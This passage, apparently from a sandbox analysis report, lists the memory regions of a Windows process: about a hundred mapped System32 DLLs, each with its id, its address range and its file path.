	     entry_point = 0x7ffbf9d80000
	     region_type = mapped_file
	            name = "samlib.dll"
	        filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")

Region:
	              id = 968
	        start_va = 0x7ffbf9da0000
	          end_va = 0x7ffbf9db7fff
	     entry_point = 0x7ffbf9da0000
	     region_type = mapped_file
	            name = "vsstrace.dll"
	        filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")

Region:
	              id = 969
	        start_va = 0x7ffbf9dc0000
	          end_va = 0x7ffbf9f42fff
	     entry_point = 0x7ffbf9dc0000
	     region_type = mapped_file
	            name = "vssapi.dll"
	        filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")

Region:
	              id = 970
	        start_va = 0x7ffbf9f50000
	          end_va = 0x7ffbf9f59fff
	     entry_point = 0x7ffbf9f50000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 971
	        start_va = 0x7ffbf9f80000
	          end_va = 0x7ffbfa01efff
	     entry_point = 0x7ffbf9f80000
	     region_type = mapped_file
	            name = "clusapi.dll"
	        filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll")

Region:
	              id = 972
	        start_va = 0x7ffbfa020000
	          end_va = 0x7ffbfa07afff
	     entry_point = 0x7ffbfa020000
	     region_type = mapped_file
	            name = "resutils.dll"
	        filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll")

Region:
	              id = 973
	        start_va = 0x7ffbfa080000
	          end_va = 0x7ffbfa0adfff
	     entry_point = 0x7ffbfa080000
	     region_type = mapped_file
	            name = "wmidcom.dll"
	        filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll")

Region:
	              id = 974
	        start_va = 0x7ffbfa0b0000
	          end_va = 0x7ffbfa10cfff
	     entry_point = 0x7ffbfa0b0000
	     region_type = mapped_file
	            name = "miutils.dll"
	        filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll")

Region:
	              id = 975
	        start_va = 0x7ffbfa110000
	          end_va = 0x7ffbfa12ffff
	     entry_point = 0x7ffbfa110000
	     region_type = mapped_file
	            name = "mi.dll"
	        filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll")

Region:
	              id = 976
	        start_va = 0x7ffbfa130000
	          end_va = 0x7ffbfa137fff
	     entry_point = 0x7ffbfa130000
	     region_type = mapped_file
	            name = "sscoreext.dll"
	        filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll")

Region:
	              id = 977
	        start_va = 0x7ffbfa140000
	          end_va = 0x7ffbfa150fff
	     entry_point = 0x7ffbfa140000
	     region_type = mapped_file
	            name = "sscore.dll"
	        filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll")

Region:
	              id = 978
	        start_va = 0x7ffbfa160000
	          end_va = 0x7ffbfa1defff
	     entry_point = 0x7ffbfa160000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 979
	        start_va = 0x7ffbfa1e0000
	          end_va = 0x7ffbfa21bfff
	     entry_point = 0x7ffbfa1e0000
	     region_type = mapped_file
	            name = "wmisvc.dll"
	        filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll")

Region:
	              id = 980
	        start_va = 0x7ffbfa220000
	          end_va = 0x7ffbfa25efff
	     entry_point = 0x7ffbfa220000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 981
	        start_va = 0x7ffbfa410000
	          end_va = 0x7ffbfa45bfff
	     entry_point = 0x7ffbfa410000
	     region_type = mapped_file
	            name = "srvsvc.dll"
	        filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll")

Region:
	              id = 982
	        start_va = 0x7ffbfaa10000
	          end_va = 0x7ffbfaa26fff
	     entry_point = 0x7ffbfaa10000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 983
	        start_va = 0x7ffbfb2b0000
	          end_va = 0x7ffbfb2bbfff
	     entry_point = 0x7ffbfb2b0000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 984
	        start_va = 0x7ffbfb2c0000
	          end_va = 0x7ffbfb2c9fff
	     entry_point = 0x7ffbfb2c0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 985
	        start_va = 0x7ffbfba10000
	          end_va = 0x7ffbfba36fff
	     entry_point = 0x7ffbfba10000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 986
	        start_va = 0x7ffbfba50000
	          end_va = 0x7ffbfbae1fff
	     entry_point = 0x7ffbfba50000
	     region_type = mapped_file
	            name = "msvcp110_win.dll"
	        filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll")

Region:
	              id = 987
	        start_va = 0x7ffbfbaf0000
	          end_va = 0x7ffbfbb28fff
	     entry_point = 0x7ffbfbaf0000
	     region_type = mapped_file
	            name = "policymanager.dll"
	        filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll")

Region:
	              id = 988
	        start_va = 0x7ffbfbb30000
	          end_va = 0x7ffbfbb38fff
	     entry_point = 0x7ffbfbb30000
	     region_type = mapped_file
	            name = "httpprxc.dll"
	        filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll")

Region:
	              id = 989
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 990
	        start_va = 0x7ffbfbce0000
	          end_va = 0x7ffbfbd11fff
	     entry_point = 0x7ffbfbce0000
	     region_type = mapped_file
	            name = "shacct.dll"
	        filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll")

Region:
	              id = 991
	        start_va = 0x7ffbfbd20000
	          end_va = 0x7ffbfbd54fff
	     entry_point = 0x7ffbfbd20000
	     region_type = mapped_file
	            name = "fwpolicyiomgr.dll"
	        filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll")

Region:
	              id = 992
	        start_va = 0x7ffbfbe40000
	          end_va = 0x7ffbfbe75fff
	     entry_point = 0x7ffbfbe40000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 993
	        start_va = 0x7ffbfc980000
	          end_va = 0x7ffbfc988fff
	     entry_point = 0x7ffbfc980000
	     region_type = mapped_file
	            name = "proximitycommonpal.dll"
	        filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll")

Region:
	              id = 994
	        start_va = 0x7ffbfc990000
	          end_va = 0x7ffbfc9bcfff
	     entry_point = 0x7ffbfc990000
	     region_type = mapped_file
	            name = "proximitycommon.dll"
	        filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll")

Region:
	              id = 995
	        start_va = 0x7ffbfc9c0000
	          end_va = 0x7ffbfc9cffff
	     entry_point = 0x7ffbfc9c0000
	     region_type = mapped_file
	            name = "proximityservicepal.dll"
	        filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll")

Region:
	              id = 996
	        start_va = 0x7ffbfc9d0000
	          end_va = 0x7ffbfca20fff
	     entry_point = 0x7ffbfc9d0000
	     region_type = mapped_file
	            name = "proximityservice.dll"
	        filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll")

Region:
	              id = 997
	        start_va = 0x7ffbfca30000
	          end_va = 0x7ffbfca3bfff
	     entry_point = 0x7ffbfca30000
	     region_type = mapped_file
	            name = "fvecerts.dll"
	        filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll")

Region:
	              id = 998
	        start_va = 0x7ffbfca40000
	          end_va = 0x7ffbfcafdfff
	     entry_point = 0x7ffbfca40000
	     region_type = mapped_file
	            name = "fveapi.dll"
	        filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll")

Region:
	              id = 999
	        start_va = 0x7ffbfcbc0000
	          end_va = 0x7ffbfccf0fff
	     entry_point = 0x7ffbfcbc0000
	     region_type = mapped_file
	            name = "wintypes.dll"
	        filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll")

Region:
	              id = 1000
	        start_va = 0x7ffbfcd00000
	          end_va = 0x7ffbfcd3dfff
	     entry_point = 0x7ffbfcd00000
	     region_type = mapped_file
	            name = "usermgrproxy.dll"
	        filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll")

Region:
	              id = 1001
	        start_va = 0x7ffbfcd40000
	          end_va = 0x7ffbfcdd5fff
	     entry_point = 0x7ffbfcd40000
	     region_type = mapped_file
	            name = "shsvcs.dll"
	        filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll")

Region:
	              id = 1002
	        start_va = 0x7ffbfcde0000
	          end_va = 0x7ffbfcdf7fff
	     entry_point = 0x7ffbfcde0000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 1003
	        start_va = 0x7ffbfce00000
	          end_va = 0x7ffbfceb3fff
	     entry_point = 0x7ffbfce00000
	     region_type = mapped_file
	            name = "usermgr.dll"
	        filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll")

Region:
	              id = 1004
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 1005
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 1006
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 1007
	        start_va = 0x7ffbfd180000
	          end_va = 0x7ffbfd18ffff
	     entry_point = 0x7ffbfd180000
	     region_type = mapped_file
	            name = "usermgrcli.dll"
	        filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll")

Region:
	              id = 1008
	        start_va = 0x7ffbfd2d0000
	          end_va = 0x7ffbfd2dffff
	     entry_point = 0x7ffbfd2d0000
	     region_type = mapped_file
	            name = "timebrokerclient.dll"
	        filename = "\\Windows\\System32\\TimeBrokerClient.dll" (normalized: "c:\\windows\\system32\\timebrokerclient.dll")

Region:
	              id = 1009
	        start_va = 0x7ffbfd2e0000
	          end_va = 0x7ffbfd30dfff
	     entry_point = 0x7ffbfd2e0000
	     region_type = mapped_file
	            name = "wptaskscheduler.dll"
	        filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll")

Region:
	              id = 1010
	        start_va = 0x7ffbfd310000
	          end_va = 0x7ffbfd33cfff
	     entry_point = 0x7ffbfd310000
	     region_type = mapped_file
	            name = "netjoin.dll"
	        filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")

Region:
	              id = 1011
	        start_va = 0x7ffbfd340000
	          end_va = 0x7ffbfd355fff
	     entry_point = 0x7ffbfd340000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 1012
	        start_va = 0x7ffbfd360000
	          end_va = 0x7ffbfd3cdfff
	     entry_point = 0x7ffbfd360000
	     region_type = mapped_file
	            name = "taskcomp.dll"
	        filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll")

Region:
	              id = 1013
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 1014
	        start_va = 0x7ffbfd810000
	          end_va = 0x7ffbfd820fff
	     entry_point = 0x7ffbfd810000
	     region_type = mapped_file
	            name = "wmiclnt.dll"
	        filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll")

Region:
	              id = 1015
	        start_va = 0x7ffbfd830000
	          end_va = 0x7ffbfd83cfff
	     entry_point = 0x7ffbfd830000
	     region_type = mapped_file
	            name = "csystemeventsbrokerclient.dll"
	        filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll")

Region:
	              id = 1016
	        start_va = 0x7ffbfd840000
	          end_va = 0x7ffbfd87ffff
	     entry_point = 0x7ffbfd840000
	     region_type = mapped_file
	            name = "ubpm.dll"
	        filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll")

Region:
	              id = 1017
	        start_va = 0x7ffbfd880000
	          end_va = 0x7ffbfd97bfff
	     entry_point = 0x7ffbfd880000
	     region_type = mapped_file
	            name = "schedsvc.dll"
	        filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll")

Region:
	              id = 1018
	        start_va = 0x7ffbfd980000
	          end_va = 0x7ffbfd9c1fff
	     entry_point = 0x7ffbfd980000
	     region_type = mapped_file
	            name = "mstask.dll"
	        filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll")

Region:
	              id = 1019
	        start_va = 0x7ffbfd9d0000
	          end_va = 0x7ffbfd9e6fff
	     entry_point = 0x7ffbfd9d0000
	     region_type = mapped_file
	            name = "sens.dll"
	        filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll")

Region:
	              id = 1020
	        start_va = 0x7ffbfd9f0000
	          end_va = 0x7ffbfdaaffff
	     entry_point = 0x7ffbfd9f0000
	     region_type = mapped_file
	            name = "taskschd.dll"
	        filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll")

Region:
	              id = 1021
	        start_va = 0x7ffbfdab0000
	          end_va = 0x7ffbfdacdfff
	     entry_point = 0x7ffbfdab0000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 1022
	        start_va = 0x7ffbfdad0000
	          end_va = 0x7ffbfdaf6fff
	     entry_point = 0x7ffbfdad0000
	     region_type = mapped_file
	            name = "profsvcext.dll"
	        filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll")

Region:
	              id = 1023
	        start_va = 0x7ffbfdb00000
	          end_va = 0x7ffbfdb79fff
	     entry_point = 0x7ffbfdb00000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 1024
	        start_va = 0x7ffbfdb80000
	          end_va = 0x7ffbfdbd4fff
	     entry_point = 0x7ffbfdb80000
	     region_type = mapped_file
	            name = "profsvc.dll"
	        filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll")

Region:
	              id = 1025
	        start_va = 0x7ffbfdbf0000
	          end_va = 0x7ffbfdc02fff
	     entry_point = 0x7ffbfdbf0000
	     region_type = mapped_file
	            name = "themeservice.dll"
	        filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll")

Region:
	              id = 1026
	        start_va = 0x7ffbfdc10000
	          end_va = 0x7ffbfdc19fff
	     entry_point = 0x7ffbfdc10000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1027
	        start_va = 0x7ffbfdc20000
	          end_va = 0x7ffbfdc37fff
	     entry_point = 0x7ffbfdc20000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 1028
	        start_va = 0x7ffbfdc40000
	          end_va = 0x7ffbfdd8cfff
	     entry_point = 0x7ffbfdc40000
	     region_type = mapped_file
	            name = "gpsvc.dll"
	        filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll")

Region:
	              id = 1029
	        start_va = 0x7ffbfdeb0000
	          end_va = 0x7ffbfdf14fff
	     entry_point = 0x7ffbfdeb0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 1030
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1031
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1032
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1033
	        start_va = 0x7ffbff0d0000
	          end_va = 0x7ffbff147fff
	     entry_point = 0x7ffbff0d0000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")

Region:
	              id = 1034
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1035
	        start_va = 0x7ffbff3f0000
	          end_va = 0x7ffbff3fbfff
	     entry_point = 0x7ffbff3f0000
	     region_type = mapped_file
	            name = "sysntfy.dll"
	        filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll")

Region:
	              id = 1036
	        start_va = 0x7ffbff5d0000
	          end_va = 0x7ffbff601fff
	     entry_point = 0x7ffbff5d0000
	     region_type = mapped_file
	            name = "fwbase.dll"
	        filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll")

Region:
	              id = 1037
	        start_va = 0x7ffbff610000
	          end_va = 0x7ffbff691fff
	     entry_point = 0x7ffbff610000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 1038
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1039
	        start_va = 0x7ffbff8f0000
	          end_va = 0x7ffbff8fbfff
	     entry_point = 0x7ffbff8f0000
	     region_type = mapped_file
	            name = "hid.dll"
	        filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll")

Region:
	              id = 1040
	        start_va = 0x7ffbff9b0000
	          end_va = 0x7ffbff9f7fff
	     entry_point = 0x7ffbff9b0000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 1041
	        start_va = 0x7ffbffad0000
	          end_va = 0x7ffbffaebfff
	     entry_point = 0x7ffbffad0000
	     region_type = mapped_file
	            name = "mpr.dll"
	        filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")

Region:
	              id = 1042
	        start_va = 0x7ffbffaf0000
	          end_va = 0x7ffbffafbfff
	     entry_point = 0x7ffbffaf0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1043
	        start_va = 0x7ffbffb00000
	          end_va = 0x7ffbffb25fff
	     entry_point = 0x7ffbffb00000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1044
	        start_va = 0x7ffbffbe0000
	          end_va = 0x7ffbffc11fff
	     entry_point = 0x7ffbffbe0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1045
	        start_va = 0x7ffbffcc0000
	          end_va = 0x7ffbffcc9fff
	     entry_point = 0x7ffbffcc0000
	     region_type = mapped_file
	            name = "dpapi.dll"
	        filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll")

Region:
	              id = 1046
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1047
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1048
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 1049
	        start_va = 0x7ffbffed0000
	          end_va = 0x7ffbfff0dfff
	     entry_point = 0x7ffbffed0000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 1050
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 1051
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1052
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1053
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1054
	        start_va = 0x7ffc00320000
	          end_va = 0x7ffc00340fff
	     entry_point = 0x7ffc00320000
	     region_type = mapped_file
	            name = "joinutil.dll"
	        filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll")

Region:
	              id = 1055
	        start_va = 0x7ffc00370000
	          end_va = 0x7ffc003a5fff
	     entry_point = 0x7ffc00370000
	     region_type = mapped_file
	            name = "ntasn1.dll"
	        filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll")

Region:
	              id = 1056
	        start_va = 0x7ffc003b0000
	          end_va = 0x7ffc003d5fff
	     entry_point = 0x7ffc003b0000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 1057
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1058
	        start_va = 0x7ffc00690000
	          end_va = 0x7ffc006a9fff
	     entry_point = 0x7ffc00690000
	     region_type = mapped_file
	            name = "eventaggregation.dll"
	        filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll")

Region:
	              id = 1059
	        start_va = 0x7ffc006b0000
	          end_va = 0x7ffc006b7fff
	     entry_point = 0x7ffc006b0000
	     region_type = mapped_file
	            name = "dabapi.dll"
	        filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll")

Region:
	              id = 1060
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1061
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1062
	        start_va = 0x7ffc00760000
	          end_va = 0x7ffc007f7fff
	     entry_point = 0x7ffc00760000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 1063
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1064
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1065
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 1066
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1067
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
